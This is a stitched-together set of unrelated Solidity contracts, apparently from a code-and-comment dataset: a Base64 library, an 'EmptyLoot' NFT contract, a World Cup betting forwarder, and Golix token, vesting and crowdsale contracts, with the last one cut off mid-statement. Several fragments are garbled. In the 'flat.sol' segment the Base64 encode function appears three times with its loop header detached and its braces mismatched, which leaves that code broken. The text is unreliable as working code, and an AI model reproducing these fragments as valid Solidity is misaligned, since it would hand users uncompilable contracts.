function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/// @title Base64
/// @author Brecht Devos - <[email protected]>
/// @notice Provides a function for encoding some bytes in base64
library Base64 {
string internal constant TABLE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
function encode(bytes memory data) internal pure returns (string memory) {
if (data.length == 0) return '';
// load the table into memory
string memory table = TABLE;
// multiply by 4/3 rounded up
uint256 encodedLen = 4 * ((data.length + 2) / 3);
// add some extra buffer at the end required for the writing
string memory result = new string(encodedLen + 32);
assembly {
// set the actual output length
mstore(result, encodedLen)
// prepare the lookup table
let tablePtr := add(table, 1)
// input ptr
let dataPtr := data
let endPtr := add(dataPtr, mload(data))
// result ptr, jump over length
let resultPtr := add(result, 32)
// run over the input, 3 bytes at a time
for {} lt(dataPtr, endPtr) {}
{
dataPtr := add(dataPtr, 3)
// read 3 bytes
let input := mload(dataPtr)
// write 4 characters
mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(18, input), 0x3F)))))
resultPtr := add(resultPtr, 1)
mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(12, input), 0x3F)))))
resultPtr := add(resultPtr, 1)
mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr( 6, input), 0x3F)))))
resultPtr := add(resultPtr, 1)
mstore(resultPtr, shl(248, mload(add(tablePtr, and( input, 0x3F)))))
resultPtr := add(resultPtr, 1)
}
// padding with '='
switch mod(mload(data), 3)
case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) }
case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) }
}
return result;
}
}
pragma solidity ^0.8.0;
contract TemporalLoot {
function ownerOf(uint256 tokenId) public view returns (address) {}
function getChest(uint256 tokenId) public view returns (string memory) {}
function getFoot(uint256 tokenId) public view returns (string memory) {}
function getHand(uint256 tokenId) public view returns (string memory) {}
function getHead(uint256 tokenId) public view returns (string memory) {}
function getNeck(uint256 tokenId) public view returns (string memory) {}
function getRing(uint256 tokenId) public view returns (string memory) {}
function getWaist(uint256 tokenId) public view returns (string memory) {}
function getWeapon(uint256 tokenId) public view returns (string memory) {}
}
contract EmptyLoot is ERC721Enumerable, ReentrancyGuard, Ownable {
using Address for address payable;
address tempLootAddr = 0x1dfe7Ca09e99d10835Bf73044a23B73Fc20623DF;
TemporalLoot tempLoot = TemporalLoot(tempLootAddr);
mapping(uint256 => mapping(uint256 => uint256)) private _upgrades;
mapping(uint256 => uint256) private _discards;
event ItemUpgraded(uint256 tokenId, uint256 item, uint256 from);
function upgradedTokenId(uint256 tokenId, uint256 key) private view returns (uint256) {
return _upgrades[tokenId][key];
}
function upgradeItem(uint256 tokenId, uint256 item, uint256 from) private {
address tokenOwner = ownerOf(tokenId);
require(msg.sender == tokenOwner, "You are not the owner of the token");
address upgradeOwner = tempLoot.ownerOf(from);
require(tokenOwner == upgradeOwner, "You can only upgrade from the Loots you own");
require(_discards[from] == 0, "The loot is already used for an upgrade");
_upgrades[tokenId][item] = from;
_discards[from] = 1;
emit ItemUpgraded(tokenId, item, from);
}
function addWeapon(uint256 tokenId, uint256 loot) public nonReentrant {
upgradeItem(tokenId, 0, loot);
}
function addChest(uint256 tokenId, uint256 loot) public nonReentrant {
upgradeItem(tokenId, 1, loot);
}
function addHead(uint256 tokenId, uint256 loot) public nonReentrant {
upgradeItem(tokenId, 2, loot);
}
function addWaist(uint256 tokenId, uint256 loot) public nonReentrant {
upgradeItem(tokenId, 3, loot);
}
function addFoot(uint256 tokenId, uint256 loot) public nonReentrant {
upgradeItem(tokenId, 4, loot);
}
function addHand(uint256 tokenId, uint256 loot) public nonReentrant {
upgradeItem(tokenId, 5, loot);
}
function addNeck(uint256 tokenId, uint256 loot) public nonReentrant {
upgradeItem(tokenId, 6, loot);
}
function addRing(uint256 tokenId, uint256 loot) public nonReentrant {
upgradeItem(tokenId, 7, loot);
}
function getWeapon(uint256 tokenId) public view returns (string memory) {
uint256 tid = upgradedTokenId(tokenId, 0);
if (tid == 0) {
return "";
}
return tempLoot.getWeapon(tid);
}
function getChest(uint256 tokenId) public view returns (string memory) {
uint256 tid = upgradedTokenId(tokenId, 1);
if (tid == 0) {
return "";
}
return tempLoot.getChest(tid);
}
function getHead(uint256 tokenId) public view returns (string memory) {
uint256 tid = upgradedTokenId(tokenId, 2);
if (tid == 0) {
return "";
}
return tempLoot.getHead(tid);
}
function getWaist(uint256 tokenId) public view returns (string memory) {
uint256 tid = upgradedTokenId(tokenId, 3);
if (tid == 0) {
return "";
}
return tempLoot.getWaist(tid);
}
function getFoot(uint256 tokenId) public view returns (string memory) {
uint256 tid = upgradedTokenId(tokenId, 4);
if (tid == 0) {
return "";
}
return tempLoot.getFoot(tid);
}
function getHand(uint256 tokenId) public view returns (string memory) {
uint256 tid = upgradedTokenId(tokenId, 5);
if (tid == 0) {
return "";
}
return tempLoot.getHand(tid);
}
function getNeck(uint256 tokenId) public view returns (string memory) {
uint256 tid = upgradedTokenId(tokenId, 6);
if (tid == 0) {
return "";
}
return tempLoot.getNeck(tid);
}
function getRing(uint256 tokenId) public view returns (string memory) {
uint256 tid = upgradedTokenId(tokenId, 7);
if (tid == 0) {
return "";
}
return tempLoot.getRing(tid);
}
function tokenURI(uint256 tokenId) override public view returns (string memory) {
string[17] memory parts;
parts[0] = '<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 350 350"><style>.base { fill: white; font-family: serif; font-size: 14px; }</style><rect width="100%" height="100%" fill="black" /><text x="10" y="20" class="base">';
parts[1] = getWeapon(tokenId);
parts[2] = '</text><text x="10" y="40" class="base">';
parts[3] = getChest(tokenId);
parts[4] = '</text><text x="10" y="60" class="base">';
parts[5] = getHead(tokenId);
parts[6] = '</text><text x="10" y="80" class="base">';
parts[7] = getWaist(tokenId);
parts[8] = '</text><text x="10" y="100" class="base">';
parts[9] = getFoot(tokenId);
parts[10] = '</text><text x="10" y="120" class="base">';
parts[11] = getHand(tokenId);
parts[12] = '</text><text x="10" y="140" class="base">';
parts[13] = getNeck(tokenId);
parts[14] = '</text><text x="10" y="160" class="base">';
parts[15] = getRing(tokenId);
parts[16] = '</text></svg>';
string memory output = string(abi.encodePacked(parts[0], parts[1], parts[2], parts[3], parts[4], parts[5], parts[6], parts[7], parts[8]));
output = string(abi.encodePacked(output, parts[9], parts[10], parts[11], parts[12], parts[13], parts[14], parts[15], parts[16]));
string memory json = Base64.encode(bytes(string(abi.encodePacked('{"name": "Bag #', toString(tokenId), '", "description": "Create unique bags by filling an Empty Loot with gear from More Loot.", "image": "data:image/svg+xml;base64,', Base64.encode(bytes(output)), '"}'))));
output = string(abi.encodePacked('data:application/json;base64,', json));
return output;
}
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT license
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function claim(uint256 tokenId) public nonReentrant payable {
require(tokenId > 0 && tokenId < 8001, "Token ID invalid");
require(msg.value >= 0.01 ether, "value must be at least 0.01 ether");
_safeMint(_msgSender(), tokenId);
}
function ownerPay() public nonReentrant onlyOwner {
payable(owner()).sendValue(address(this).balance);
}
constructor() ERC721("Empty Loot", "ELOOT") Ownable() {}
}
// File contracts/flat.sol
|
@title Base64 @author Brecht Devos - <[email protected]> @notice Provides a function for encoding some bytes in base64
|
library Base64 {
string internal constant TABLE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
function encode(bytes memory data) internal pure returns (string memory) {
if (data.length == 0) return '';
string memory table = TABLE;
uint256 encodedLen = 4 * ((data.length + 2) / 3);
string memory result = new string(encodedLen + 32);
assembly {
mstore(result, encodedLen)
let tablePtr := add(table, 1)
let dataPtr := data
let endPtr := add(dataPtr, mload(data))
let resultPtr := add(result, 32)
{
dataPtr := add(dataPtr, 3)
let input := mload(dataPtr)
mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(18, input), 0x3F)))))
resultPtr := add(resultPtr, 1)
mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(12, input), 0x3F)))))
resultPtr := add(resultPtr, 1)
mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr( 6, input), 0x3F)))))
resultPtr := add(resultPtr, 1)
mstore(resultPtr, shl(248, mload(add(tablePtr, and( input, 0x3F)))))
resultPtr := add(resultPtr, 1)
}
}
return result;
}
function encode(bytes memory data) internal pure returns (string memory) {
if (data.length == 0) return '';
string memory table = TABLE;
uint256 encodedLen = 4 * ((data.length + 2) / 3);
string memory result = new string(encodedLen + 32);
assembly {
mstore(result, encodedLen)
let tablePtr := add(table, 1)
let dataPtr := data
let endPtr := add(dataPtr, mload(data))
let resultPtr := add(result, 32)
{
dataPtr := add(dataPtr, 3)
let input := mload(dataPtr)
mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(18, input), 0x3F)))))
resultPtr := add(resultPtr, 1)
mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(12, input), 0x3F)))))
resultPtr := add(resultPtr, 1)
mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr( 6, input), 0x3F)))))
resultPtr := add(resultPtr, 1)
mstore(resultPtr, shl(248, mload(add(tablePtr, and( input, 0x3F)))))
resultPtr := add(resultPtr, 1)
}
}
return result;
}
for {} lt(dataPtr, endPtr) {}
function encode(bytes memory data) internal pure returns (string memory) {
if (data.length == 0) return '';
string memory table = TABLE;
uint256 encodedLen = 4 * ((data.length + 2) / 3);
string memory result = new string(encodedLen + 32);
assembly {
mstore(result, encodedLen)
let tablePtr := add(table, 1)
let dataPtr := data
let endPtr := add(dataPtr, mload(data))
let resultPtr := add(result, 32)
{
dataPtr := add(dataPtr, 3)
let input := mload(dataPtr)
mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(18, input), 0x3F)))))
resultPtr := add(resultPtr, 1)
mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(12, input), 0x3F)))))
resultPtr := add(resultPtr, 1)
mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr( 6, input), 0x3F)))))
resultPtr := add(resultPtr, 1)
mstore(resultPtr, shl(248, mload(add(tablePtr, and( input, 0x3F)))))
resultPtr := add(resultPtr, 1)
}
}
return result;
}
switch mod(mload(data), 3)
case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) }
case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) }
}
| 2,417,392
|
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pragma solidity ^0.4.22;
//Xinle Yang
//small contract for people to bet on specific item.
import "./WorldcupFun.sol";
contract Champion {
address public WorldcupFunAddress;
uint256 public TeamNumber;
constructor(address wf, uint256 teamNumber) public {
WorldcupFunAddress = wf;
TeamNumber = teamNumber;
}
function() public payable {
//TODO
//Need to make sure this function call is not expensive`
//0) setup WorldcupFunContract
WorldcupFun WorldcupFunContract = WorldcupFun(WorldcupFunAddress);
//1) send all money to WorldcupFun address, record the sender address and betting information to WorldcupFun
if (!WorldcupFunContract.ChampionBet.value(msg.value)(msg.sender, TeamNumber)) revert();
}
}
|
TODONeed to make sure this function call is not expensive`0) setup WorldcupFunContract1) send all money to WorldcupFun address, record the sender address and betting information to WorldcupFun
|
function() public payable {
WorldcupFun WorldcupFunContract = WorldcupFun(WorldcupFunAddress);
if (!WorldcupFunContract.ChampionBet.value(msg.value)(msg.sender, TeamNumber)) revert();
}
| 13,004,669
|
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pragma solidity 0.4.24;
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/MintableToken.sol
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
// File: zeppelin-solidity/contracts/lifecycle/Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
// File: zeppelin-solidity/contracts/token/ERC20/PausableToken.sol
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
// File: contracts/GolixToken.sol
/**
* @title Golix Token contract - ERC20 compatible token contract.
* @author Gustavo Guimaraes - <gustavoguimaraes@gmail.com>
*/
contract GolixToken is PausableToken, MintableToken {
string public constant name = "Golix Token";
string public constant symbol = "GLX";
uint8 public constant decimals = 18;
/**
* @dev Allow for staking of GLX tokens
* function is called only from owner which is the GLX token distribution contract
* is only triggered for a period of time and only if there are still tokens from crowdsale
* @param staker Address of token holder
* @param glxStakingContract Address where staking tokens goes to
*/
function stakeGLX(address staker, address glxStakingContract) public onlyOwner {
uint256 stakerGLXBalance = balanceOf(staker);
balances[staker] = 0;
balances[glxStakingContract] = balances[glxStakingContract].add(stakerGLXBalance);
emit Transfer(staker, glxStakingContract, stakerGLXBalance);
}
}
// File: zeppelin-solidity/contracts/token/ERC20/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
// File: contracts/VestTokenAllocation.sol
/**
* @title VestTokenAllocation contract
* @author Gustavo Guimaraes - <gustavoguimaraes@gmail.com>
*/
contract VestTokenAllocation is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20;
uint256 public cliff;
uint256 public start;
uint256 public duration;
uint256 public allocatedTokens;
uint256 public canSelfDestruct;
mapping (address => uint256) public totalTokensLocked;
mapping (address => uint256) public releasedTokens;
ERC20 public golix;
address public tokenDistribution;
event Released(address beneficiary, uint256 amount);
/**
* @dev creates the locking contract with vesting mechanism
* as well as ability to set tokens for addresses and time contract can self-destruct
* @param _token GolixToken address
* @param _tokenDistribution GolixTokenDistribution contract address
* @param _start timestamp representing the beginning of the token vesting process
* @param _cliff duration in seconds of the cliff in which tokens will begin to vest. ie 1 year in secs
* @param _duration time in seconds of the period in which the tokens completely vest. ie 4 years in secs
* @param _canSelfDestruct timestamp of when contract is able to selfdestruct
*/
function VestTokenAllocation
(
ERC20 _token,
address _tokenDistribution,
uint256 _start,
uint256 _cliff,
uint256 _duration,
uint256 _canSelfDestruct
)
public
{
require(_token != address(0) && _cliff != 0);
require(_cliff <= _duration);
require(_start > now);
require(_canSelfDestruct > _duration.add(_start));
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
golix = ERC20(_token);
tokenDistribution = _tokenDistribution;
canSelfDestruct = _canSelfDestruct;
}
modifier onlyOwnerOrTokenDistributionContract() {
require(msg.sender == address(owner) || msg.sender == address(tokenDistribution));
_;
}
/**
* @dev Adds vested token allocation
* @param beneficiary Ethereum address of a person
* @param allocationValue Number of tokens allocated to person
*/
function addVestTokenAllocation(address beneficiary, uint256 allocationValue)
external
onlyOwnerOrTokenDistributionContract
{
require(totalTokensLocked[beneficiary] == 0 && beneficiary != address(0)); // can only add once.
allocatedTokens = allocatedTokens.add(allocationValue);
require(allocatedTokens <= golix.balanceOf(this));
totalTokensLocked[beneficiary] = allocationValue;
}
/**
* @notice Transfers vested tokens to beneficiary.
*/
function release() public {
uint256 unreleased = releasableAmount();
require(unreleased > 0);
releasedTokens[msg.sender] = releasedTokens[msg.sender].add(unreleased);
golix.safeTransfer(msg.sender, unreleased);
emit Released(msg.sender, unreleased);
}
/**
* @dev Calculates the amount that has already vested but hasn't been released yet.
*/
function releasableAmount() public view returns (uint256) {
return vestedAmount().sub(releasedTokens[msg.sender]);
}
/**
* @dev Calculates the amount that has already vested.
*/
function vestedAmount() public view returns (uint256) {
uint256 totalBalance = totalTokensLocked[msg.sender];
if (now < cliff) {
return 0;
} else if (now >= start.add(duration)) {
return totalBalance;
} else {
return totalBalance.mul(now.sub(start)).div(duration);
}
}
/**
* @dev allow for selfdestruct possibility and sending funds to owner
*/
function kill() public onlyOwner {
require(now >= canSelfDestruct);
uint256 balance = golix.balanceOf(this);
if (balance > 0) {
golix.transfer(msg.sender, balance);
}
selfdestruct(owner);
}
}
// File: zeppelin-solidity/contracts/crowdsale/Crowdsale.sol
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
* Crowdsales have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive.
*/
contract Crowdsale {
using SafeMath for uint256;
// The token being sold
MintableToken public token;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime;
uint256 public endTime;
// address where funds are collected
address public wallet;
// how many token units a buyer gets per wei
uint256 public rate;
// amount of raised money in wei
uint256 public weiRaised;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != address(0));
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
// fallback function can be used to buy tokens
function () external payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
// @return true if crowdsale event has ended
function hasEnded() public view returns (bool) {
return now > endTime;
}
// creates the token to be sold.
// override this method to have crowdsale of a specific mintable token.
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
// Override this method to have a way to add business logic to your crowdsale when buying
function getTokenAmount(uint256 weiAmount) internal view returns(uint256) {
return weiAmount.mul(rate);
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
}
// File: zeppelin-solidity/contracts/crowdsale/FinalizableCrowdsale.sol
/**
* @title FinalizableCrowdsale
* @dev Extension of Crowdsale where an owner can do extra work
* after finishing.
*/
contract FinalizableCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
/**
* @dev Must be called after crowdsale ends, to do some extra finalization
* work. Calls the contract's finalization function.
*/
function finalize() onlyOwner public {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
/**
* @dev Can be overridden to add finalization logic. The overriding function
* should call super.finalization() to ensure the chain of finalization is
* executed entirely.
*/
function finalization() internal {
}
}
// File: contracts/GolixTokenDistribution.sol
/**
* @title Golix token distribution contract - crowdsale contract for the Golix tokens.
* @author Gustavo Guimaraes - <gustavoguimaraes@gmail.com>
*/
contract GolixTokenDistribution is FinalizableCrowdsale {
uint256 constant public TOTAL_TOKENS_SUPPLY = 1274240097e18; // 1,274,240,097 tokens
// =~ 10% for Marketing, investment fund, partners
uint256 constant public MARKETING_SHARE = 127424009e18;
// =~ 15% for issued to investors, shareholders
uint256 constant public SHAREHOLDERS_SHARE = 191136015e18;
// =~ 25% for founding team, future employees
uint256 constant public FOUNDERS_SHARE = 318560024e18;
uint256 constant public TOTAL_TOKENS_FOR_CROWDSALE = 637120049e18; // =~ 50 % of total token supply
VestTokenAllocation public teamVestTokenAllocation;
VestTokenAllocation public contributorsVestTokenAllocation;
address public marketingWallet;
address public shareHoldersWallet;
bool public canFinalizeEarly;
bool public isStakingPeriod;
mapping (address => uint256) public icoContributions;
event MintedTokensFor(address indexed investor, uint256 tokensPurchased);
event GLXStaked(address indexed staker, uint256 amount);
/**
* @dev Contract constructor function
* @param _startTime The timestamp of the beginning of the crowdsale
* @param _endTime Timestamp when the crowdsale will finish
* @param _rate The token rate per ETH
* @param _wallet Multisig wallet that will hold the crowdsale funds.
* @param _marketingWallet address that will hold tokens for marketing campaign.
* @param _shareHoldersWallet address that will distribute shareholders tokens.
*/
function GolixTokenDistribution
(
uint256 _startTime,
uint256 _endTime,
uint256 _rate,
address _wallet,
address _marketingWallet,
address _shareHoldersWallet
)
public
FinalizableCrowdsale()
Crowdsale(_startTime, _endTime, _rate, _wallet)
{
require(_marketingWallet != address(0) && _shareHoldersWallet != address(0));
require(
MARKETING_SHARE + SHAREHOLDERS_SHARE + FOUNDERS_SHARE + TOTAL_TOKENS_FOR_CROWDSALE
